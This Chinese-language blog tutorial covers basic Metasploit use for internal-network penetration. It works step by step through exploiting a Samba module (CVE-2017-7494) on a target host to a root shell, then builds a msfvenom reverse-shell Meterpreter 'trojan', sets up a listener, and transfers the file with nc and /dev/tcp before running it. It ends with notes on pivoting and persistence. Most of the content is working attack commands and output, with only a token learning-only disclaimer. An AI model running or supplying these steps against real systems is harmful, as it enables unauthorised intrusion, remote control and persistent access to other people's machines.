内网渗透 Metasploit(MSF)基础使用

技术分享 2年前 (2024-05-19) 0 999+

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以下内容仅供学习使用，非法使用造成的问题由使用人承担

攻击思路

漏洞探测（信息收集） <- fsacn,namp

漏洞利用 <- 工具（msf等）

获取服务器权限

MSF 使用

Metasploit就是一个安全漏洞检测工具。它的全称叫做The Metasploit Framework，简称MSF。

MSF主要用于攻击非web端口

1、数据库

2、协议类型的端口

使用流程

Kali控制台输入 msfconsole 进入

1、搜索并确认模块（search，use）

search

如smb漏洞：执行 search samba 搜索相关漏洞

msf6 > search samba  Matching Modules ================     #   Name                                                 Disclosure Date  Rank       Check  Description    -   ----                                                 ---------------  ----       -----  -----------    0   exploit/unix/webapp/citrix_access_gateway_exec       2010-12-21       excellent  Yes    Citrix Access Gateway Command Execution    1   exploit/windows/license/calicclnt_getconfig          2005-03-02       average    No     Computer Associates License Client GETCONFIG Overflow    2   exploit/unix/misc/distcc_exec                        2002-02-01       excellent  Yes    DistCC Daemon Command Execution    3   exploit/windows/smb/group_policy_startup             2015-01-26       manual     No     Group Policy Script Execution From Shared Resource    4   post/linux/gather/enum_configs                                        normal     No     Linux Gather Configurations    5   auxiliary/scanner/rsync/modules_list                                  normal     No     List Rsync Modules    6   exploit/windows/fileformat/ms14_060_sandworm         2014-10-14       excellent  No     MS14-060 Microsoft Windows OLE Package Manager Code Execution    7   exploit/unix/http/quest_kace_systems_management_rce  2018-05-31       excellent  Yes    Quest KACE Systems Management Command Injection    8   exploit/multi/samba/usermap_script                   2007-05-14       excellent  No     Samba "username map script" Command Execution    9   exploit/multi/samba/nttrans                          2003-04-07       average    No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow    10  exploit/linux/samba/setinfopolicy_heap               2012-04-10       normal     Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow    11  auxiliary/admin/smb/samba_symlink_traversal                           normal     No     Samba Symlink Directory Traversal    12  auxiliary/scanner/smb/smb_uninit_cred                                 normal     Yes    Samba _netr_ServerPasswordSet Uninitialized Credential State    13  exploit/linux/samba/chain_reply                      2010-06-16       good       No     Samba chain_reply Memory Corruption (Linux x86)    14  exploit/linux/samba/is_known_pipename                2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load    15  auxiliary/dos/samba/lsa_addprivs_heap                                 normal     No     Samba lsa_io_privilege_set Heap Overflow    16  auxiliary/dos/samba/lsa_transnames_heap                               normal     No     Samba lsa_io_trans_names Heap Overflow    17  exploit/linux/samba/lsa_transnames_heap              2007-05-14       good       Yes    Samba lsa_io_trans_names Heap Overflow    18  exploit/osx/samba/lsa_transnames_heap                2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow    19  exploit/solaris/samba/lsa_transnames_heap            2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow    20  auxiliary/dos/samba/read_nttrans_ea_list                              normal     No     Samba read_nttrans_ea_list Integer Overflow    21  exploit/freebsd/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (*BSD x86)    22  exploit/linux/samba/trans2open                       2003-04-07       great      No     Samba trans2open Overflow (Linux x86)    23  exploit/osx/samba/trans2open                         2003-04-07       great      No     Samba trans2open Overflow (Mac OS X PPC)    24  exploit/solaris/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (Solaris SPARC)    25  exploit/windows/http/sambar6_search_results          2003-06-21       normal     Yes    Sambar 6 Search Results Buffer Overflow

其中 exploit 为漏洞利用，auxiliary 为漏洞发现

info

使用 info 命令可以查看漏洞详情，例如

msf6 > info exploit/linux/samba/is_known_pipename         Name: Samba is_known_pipename() Arbitrary Module Load      Module: exploit/linux/samba/is_known_pipename    Platform: Linux        Arch:   Privileged: Yes     License: Metasploit Framework License (BSD)        Rank: Excellent   Disclosed: 2017-03-24  Provided by:   steelo <knownsteelo@gmail.com>   hdm <x@hdm.io>   bcoles <bcoles@gmail.com>  Available targets:       Id  Name       --  ----   =>  0   Automatic (Interact)       1   Automatic (Command)       2   Linux x86       3   Linux x86_64       4   Linux ARM (LE)       5   Linux ARM64       6   Linux MIPS       7   Linux MIPSLE       8   Linux MIPS64       9   Linux MIPS64LE       10  Linux PPC       11  Linux PPC64       12  Linux PPC64 (LE)       13  Linux SPARC       14  Linux SPARC64       15  Linux s390x  Check supported:   Yes  Basic options:   Name            Current Setting  Required  Description   ----            ---------------  --------  -----------   RHOSTS                           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html   RPORT           445              yes       The SMB service port (TCP)   SMB_FOLDER                       no        The directory to use within the writeable SMB share   SMB_SHARE_NAME                   no        The name of the SMB share containing a writeable directory  Payload information:   Space: 9000  Description:   This module triggers an arbitrary shared library load vulnerability   in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module   requires valid credentials, a writeable folder in an accessible share,   and knowledge of the server-side path of the writeable folder. In   some cases, anonymous access combined with common filesystem locations   can be used to automatically exploit this vulnerability.  References:   https://nvd.nist.gov/vuln/detail/CVE-2017-7494   https://www.samba.org/samba/security/CVE-2017-7494.html   View the full module info with the info -d command.

漏洞利用，use

例如使用 smb漏洞，执行 use exploit/linux/samba/is_known_pipename 会进入一个漏洞终端

msf6 > use exploit/linux/samba/is_known_pipename [*] No payload configured, defaulting to cmd/unix/interact msf6 exploit(linux/samba/is_known_pipename) >

2、设置模块参数（show，options，set）

show options 查看模块设置

使用 show options 查看模块设置

msf6 exploit(linux/samba/is_known_pipename) > show options  # 模块设置 Module options (exploit/linux/samba/is_known_pipename):     Name            Current Setting  Required  Description    ----            ---------------  --------  -----------    CHOST                            no        The local client address    CPORT                            no        The local client port    Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]    # 目标                           yes 表示必填项    RHOSTS                           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html    # 攻击端口号    RPORT           445              yes       The SMB service port (TCP)    SMB_FOLDER                       no        The directory to use within the writeable SMB share    SMB_SHARE_NAME                   no        The name of the SMB share containing a writeable directory  # 攻击载荷设置 Payload options (cmd/unix/interact):     Name  Current Setting  Required  Description    ----  ---------------  --------  -----------  # 攻击目标设置 Exploit target:     Id  Name    --  ----    0   Automatic (Interact)    View the full module info with the info, or info -d command.

设置模块

# 设置靶机IP set RHOSTS 10.3.4.126  # smb模块全局设置 set SMB::AlwaysEncrypt false set SMB::ProtocolVersion 1

3、运行模块（run）

设置完成后执行 run

msf6 exploit(linux/samba/is_known_pipename) > run  [*] 10.3.4.126:445 - Using location \10.3.4.126share for the path [*] 10.3.4.126:445 - Retrieving the remote path of the share 'share' [*] 10.3.4.126:445 - Share 'share' has server-side path '/tmp/ [*] 10.3.4.126:445 - Uploaded payload to \10.3.4.126shareCIkZEMwu.so [*] 10.3.4.126:445 - Loading the payload from server-side path /tmp/CIkZEMwu.so using \PIPE/tmp/CIkZEMwu.so... [-] 10.3.4.126:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*] 10.3.4.126:445 - Loading the payload from server-side path /tmp/CIkZEMwu.so using /tmp/CIkZEMwu.so... [+] 10.3.4.126:445 - Probe response indicates the interactive payload was loaded... [*] Found shell. [*] Command shell session 1 opened (192.168.198.226:37289 -> 10.3.4.126:445) at 2024-05-16 21:35:34 -0400

出现

[*] Command shell session 1 opened (192.168.198.226:37289 -> 10.3.4.126:445) at 2024-05-16 21:35:34 -0400

表示攻击成功

输入 bash -i 进入终端

bash -i bash: cannot set terminal process group (79): Inappropriate ioctl for device bash: no job control in this shell root@46d29b327da6:/# ls

MSF 木马生成模块 Msfvenom

msfvenom

木马制作

Linux执行如下代码

#制作linux反弹shell木马 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf

IP填写本机IP

PORT为本机监听端口

#制作linux反弹shell木马 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.198.226 LPORT=4444 -f elf > shell.elf

监听配置

msfvenom生成的远程控制木马需要和MSF中的exploit/multi/handler模块配合使用

# 使用 exploit/multi/handler 模块 use exploit/multi/handler # 设置模块 set payload linux/x64/meterpreter/reverse_tcp

执行结果如下

msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > options  Module options (exploit/multi/handler):     Name  Current Setting  Required  Description    ----  ---------------  --------  -----------   Payload options (generic/shell_reverse_tcp):     Name   Current Setting  Required  Description    ----   ---------------  --------  -----------    # 本地监听地址，一般情况下0.0.0.0    LHOST                   yes       The listen address (an interface may be specified)    # 本地监听端口    LPORT  4444             yes       The listen port   Exploit target:     Id  Name    --  ----    0   Wildcard Target    View the full module info with the info, or info -d command.

开启监听

msf6 exploit(multi/handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 msf6 exploit(multi/handler) > run  [*] Started reverse TCP handler on 0.0.0.0:4444

上传木马

由于服务器没有wget与curl命令，我们需要使用cat命令上传恶意木马

首先使用nc命令，监听999端口

nc -lvp 999 < shell.elf ``  之后在之前获取到的 `bash` 中执行以下命令   ```bash cat < /dev/tcp/<nc监听的IP>/999 > shell.elf

图片

上传成功的效果如图上

然后需要在右边窗口停止 nc 运行

然后通过 ls -l 命令比对文件大小，确保文件上传完整

执行

赋予 shell.elf 执行权限并运行

chmod +x ./shell.elf;./shell.elf

之后即可在 msfvenom 中看到 shell.elf 的请求

获取 meterpreter

meterpreter 作用

发现靶机后，存在内网情况下，该靶机有机会成为跳板机，需要升级终端

meterpreter 可以使用 background 将终端挂起

通过 sessions 1 又能进入控制

meterpreter > background [*] Backgrounding session 1... msf6 exploit(multi/handler) >  msf6 exploit(multi/handler) >  msf6 exploit(multi/handler) > sessions 1 [*] Starting interaction with 1...  meterpreter >

常用命令

getuid：获取当前用户
getsystem：自动化提权，windows专享

文件上传：/root/Desktop/tools/fscan 源文件位置，服务器位置 /fscan

upload /root/Desktop/tools/fscan /fscan

例一：SMB漏洞

通过namp，fscan等工具扫描端口

1、发现SMB服务器，第一步尝试直接访问

Windows直接通过文件管理器访问

Linux 可以直接用 smbclient

基本命令

# 列出共享文件夹 smbclient -L 10.3.4.126 # 进入共享文件夹 smbclient //10.3.4.126/share  Password for [WORKGROUProot]: Try "help" to get a list of possible commands. smb: > ls   .                                   D        0  Tue Aug 23 10:48:10 2022   ..                                  D        0  Thu May 16 21:07:57 2024   ydntgxhD.so                         A     8400  Tue Aug 23 10:47:53 2022   WIJdzKgG.so                         A     8400  Tue Aug 23 10:48:10 2022  # 下载使用get get ydntgxhD.so

2、根据服务版本寻找 N day 漏洞

3、之后流程见上面使用流程

4、攻击成功后，一般需要使用该服务器作为跳板机进入内网

执行上传木马（MSF木马）进行持久化控制